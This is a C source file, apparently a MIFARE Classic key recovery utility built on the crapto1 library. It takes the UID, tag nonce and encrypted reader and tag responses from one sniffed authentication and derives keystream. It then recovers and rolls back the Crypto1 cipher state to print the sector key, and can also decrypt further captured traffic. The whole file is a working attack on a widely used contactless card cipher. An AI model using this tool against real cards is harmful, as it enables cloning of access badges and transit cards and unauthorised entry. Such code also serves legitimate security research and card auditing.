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1#include <inttypes.h>
2#include "crapto1/crapto1.h"
3#include <stdio.h>
4#include <string.h>
5
6int main (int argc, char *argv[]) {
7 struct Crypto1State *revstate;
8 uint64_t key; // recovered key
9 uint32_t uid; // serial number
10 uint32_t nt; // tag challenge
11 uint32_t nr_enc; // encrypted reader challenge
12 uint32_t ar_enc; // encrypted reader response
13 uint32_t at_enc; // encrypted tag response
14 uint32_t ks2; // keystream used to encrypt reader response
15 uint32_t ks3; // keystream used to encrypt tag response
16
17 printf("MIFARE Classic key recovery - based 64 bits of keystream\n");
18 printf("Recover key from only one complete authentication!\n\n");
19
20 if (argc < 6 ) {
21 printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}> [enc] [enc...]\n\n", argv[0]);
22 return 1;
23 }
24
25 int encc = argc - 6;
26 int enclen[encc];
27 uint8_t enc[encc][120];
28
29 sscanf(argv[1], "%x", &uid);
30 sscanf(argv[2], "%x", &nt);
31 sscanf(argv[3], "%x", &nr_enc);
32 sscanf(argv[4], "%x", &ar_enc);
33 sscanf(argv[5], "%x", &at_enc);
34 for (int i = 0; i < encc; i++) {
35 enclen[i] = strlen(argv[i + 6]) / 2;
36 for (int i2 = 0; i2 < enclen[i]; i2++) {
37 sscanf(argv[i+6] + i2*2,"%2x", (unsigned int *)&enc[i][i2]);
38 }
39 }
40 printf("Recovering key for:\n");
41
42 printf(" uid: %08x\n", uid);
43 printf(" nt: %08x\n", nt);
44 printf(" {nr}: %08x\n", nr_enc);
45 printf(" {ar}: %08x\n", ar_enc);
46 printf(" {at}: %08x\n", at_enc);
47 for (int i = 0; i < encc; i++) {
48 printf("{enc%d}: ", i);
49 for (int i2 = 0; i2 < enclen[i]; i2++) {
50 printf("%02x", enc[i][i2]);
51 }
52 printf("\n");
53 }
54
55
56 /*
57 uint32_t uid = 0x9c599b32;
58 uint32_t tag_challenge = 0x82a4166c;
59 uint32_t nr_enc = 0xa1e458ce;
60 uint32_t reader_response = 0x6eea41e0;
61 uint32_t tag_response = 0x5cadf439;
62*/
63 // Generate lfsr succesors of the tag challenge
64 printf("\nLFSR succesors of the tag challenge:\n");
65 printf(" nt': %08x\n",prng_successor(nt, 64));
66 printf(" nt'': %08x\n",prng_successor(nt, 96));
67
68 // Extract the keystream from the messages
69 printf("\nKeystream used to generate {ar} and {at}:\n");
70 ks2 = ar_enc ^ prng_successor(nt, 64);
71 ks3 = at_enc ^ prng_successor(nt, 96);
72 printf(" ks2: %08x\n",ks2);
73 printf(" ks3: %08x\n",ks3);
74
75 revstate = lfsr_recovery64(ks2, ks3);
76
77 // Decrypting communication using keystream if presented
78 if (argc > 6 ) {
79 printf("\nDecrypted communication:\n");
80 uint8_t ks4;
81 int rollb = 0;
82 for (int i = 0; i < encc; i++) {
83 printf("{dec%d}: ", i);
84 for (int i2 = 0; i2 < enclen[i]; i2++) {
85 ks4 = crypto1_byte(revstate, 0, 0);
86 printf("%02x", ks4 ^ enc[i][i2]);
87 rollb += 1;
88 }
89 printf("\n");
90 }
91 for (int i = 0; i < rollb; i++) {
92 lfsr_rollback_byte(revstate, 0, 0);
93 }
94 }
95
96 lfsr_rollback_word(revstate, 0, 0);
97 lfsr_rollback_word(revstate, 0, 0);
98 lfsr_rollback_word(revstate, nr_enc, 1);
99 lfsr_rollback_word(revstate, uid ^ nt, 0);
100 crypto1_get_lfsr(revstate, &key);
101 printf("\nFound Key: [%012" PRIx64"]\n\n",key);
102 crypto1_destroy(revstate);
103
104 return 0;
105}
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